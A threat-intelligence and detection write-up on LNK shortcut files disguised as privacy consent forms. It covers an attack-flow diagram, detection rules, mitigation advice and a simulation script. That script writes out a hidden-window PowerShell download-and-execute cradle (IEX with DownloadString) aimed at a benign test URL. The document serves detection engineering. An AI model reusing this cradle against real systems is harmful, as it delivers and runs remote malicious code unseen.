What Was Really Inside the Shortcut File Disguised as a Privacy Consent Form?
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
Threat actors are distributing malicious LNK files disguised as privacy consent forms to deceive users into opening them. When executed, these shortcut files launch obfuscated PowerShell commands that retrieve and run additional payloads using fileless techniques. The attack chain is designed to steal information and deploy a backdoor loader that helps preserve access and persistence.
Investigation
The investigation showed that the LNK files embed obfuscated PowerShell code responsible for downloading follow-on scripts. These secondary scripts include a downloader that pulls payloads from legitimate web services and a loader that executes them directly in memory. The threat actor also abuses Windows Task Scheduler for persistence and uses decoy documents to make the malicious activity appear legitimate.
Mitigation
Organizations should enforce strict verification of file extensions and warn users about LNK files disguised as regular documents. Security teams should closely monitor Task Scheduler activity, PowerShell execution logs, and outbound network connections. Users should also be trained to validate both the sender and the delivery path of any incoming file before opening it.
Response
If this activity is detected, administrators should immediately review suspicious Task Scheduler entries and unusual PowerShell script creation in user-accessible directories. PowerShell logs should be analyzed, and external connections should be traced, especially those involving legitimate cloud platforms or web storage services. A full forensic investigation should then be performed on any identified malicious scripts and unauthorized network traffic.
"graph TB %% Class Definitions Section classDef initial_access fill:#f96,stroke:#333,stroke-width:2px classDef execution fill:#69f,stroke:#333,stroke-width:2px classDef persistence fill:#6c6,stroke:#333,stroke-width:2px classDef discovery fill:#ff9,stroke:#333,stroke-width:2px classDef exfiltration fill:#f66,stroke:#333,stroke-width:2px %% Node Definitions %% Initial Access Stage action_user_exec["<b>Action</b> – <b>T1204.002 User Execution: Malicious File</b><br/>Victim runs a deceptive .LNK shortcut file<br/>disguised as a Consent Form."] class action_user_exec initial_access action_masquerade["<b>Action</b> – <b>T1036.008 Masquerading: Masquerade File Type</b><br/>The .LNK file mimics a legitimate<br/>personal information consent form."] class action_masquerade initial_access %% Execution Stage action_obfuscation["<b>Action</b> – <b>T1027.009 Obfuscated Files or Information: Embedded Payloads</b><br/>The .LNK file contains an obfuscated<br/>PowerShell script payload."] class action_obfuscation execution action_cloud_api["<b>Action</b> – <b>T1059.009 Command and Scripting Interpreter: Cloud API</b><br/>PowerShell script uses cloud services<br/>to download additional malicious scripts."] class action_cloud_api execution action_proxy_exec["<b>Action</b> – <b>T1216 System Script Proxy Execution</b><br/>Malware employs system script proxy<br/>execution to maintain a low profile."] class action_proxy_exec execution action_reflective_load["<b>Action</b> – <b>T1620 Reflective Code Loading</b><br/>Downloaded scripts are executed in memory<br/>using fileless methods."] class action_reflective_load execution %% Persistence Stage action_scheduled_task["<b>Action</b> – <b>T1053 Scheduled Task/Job</b><br/>A task is registered in Windows Task Scheduler<br/>to ensure execution after reboot."] class action_scheduled_task persistence %% Discovery Stage action_sys_info["<b>Action</b> – <b>T1082 System Information Discovery</b><br/>PowerShell script gathers OS details,<br/>network settings, and IP addresses."] class action_sys_info discovery action_query_reg["<b>Action</b> – <b>T1012 Query Registry</b><br/>Script queries the registry to identify<br/>running processes and security products."] class action_query_reg discovery %% Objective Stage action_backdoor["<b>Action</b> – <b>Backdoor loader-type</b><br/>Maintains access and enables further<br/>malicious activities."] class action_backdoor exfiltration action_selective_exclusion["<b>Action</b> – <b>T1679 Selective Exclusion</b><br/>The backdoor facilitates selective exclusion<br/>to bypass security controls."] class action_selective_exclusion exfiltration %% Connections %% Initial Access to Execution action_user_exec –>|leads_to| action_masquerade action_masquerade –>|triggers| action_obfuscation action_obfuscation –>|contains| action_cloud_api %% Execution to Persistence action_cloud_api –>|deploys| action_proxy_exec action_proxy_exec –>|performs| action_reflective_load action_reflective_load –>|establishes| action_scheduled_task %% Persistence to Discovery action_scheduled_task –>|runs| action_sys_info action_sys_info –>|leads_to| action_query_reg %% Discovery to Objective action_query_reg –>|informs| action_backdoor action_backdoor –>|enables| action_selective_exclusion "
Attack Flow
Detections
Possible System Information Discovery Using Wmi Powershell Module (via powershell)
View
Possible Powershell Obfuscation Indicators (via powershell)
View
Malicious LNK File Execution Leading to External Download and Connections [Windows Network Connection]
View
Malicious LNK File Execution and Persistence via Task Scheduler [Windows Process Creation]
View
Malicious LNK File Executing Obfuscated PowerShell [Windows Powershell]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.
-
Attack Narrative & Commands: The adversary seeks to establish initial access and download a second-stage malware payload. To avoid detection by simple file scanners, they use a LNK (Shortcut) file. This LNK file is crafted to execute
powershell.exein a hidden window. The command passed to PowerShell usesInvoke-ExpressionandDownloadStringto pull a script from a remote URL. This mimics real-world “Living-off-the-Land” (LotL) attacks where legitimate binaries are used to perform malicious actions, aiming to bypass traditional signature-based antivirus. -
Regression Test Script:
# 1. Define the target URL (using a benign site for testing) $url = "https://www.google.com" # 2. Create the malicious PowerShell payload string # This string is designed to trigger the 'DownloadString' and 'Invoke-Expression' detection $payload = "IEX (New-Object Net.WebClient).DownloadString('$url')" # 3. Create a dummy LNK file content (Simulated) # In a real attack, this would be a binary .lnk file. # Here we execute the command directly to ensure the ScriptBlock log is generated for validation. Write-Host "[+] Simulating malicious PowerShell execution via LNK payload..." powershell.exe -WindowStyle Hidden -Command $payload Write-Host "[+] Simulation command executed. Check Event ID 4104." -
Cleanup Commands:
# Remove any artifacts if files were created Remove-Item -Path "$HOMEDesktopSimulated_Malicious_LNK.lnk" -ErrorAction SilentlyContinue Write-Host "[+] Cleanup complete."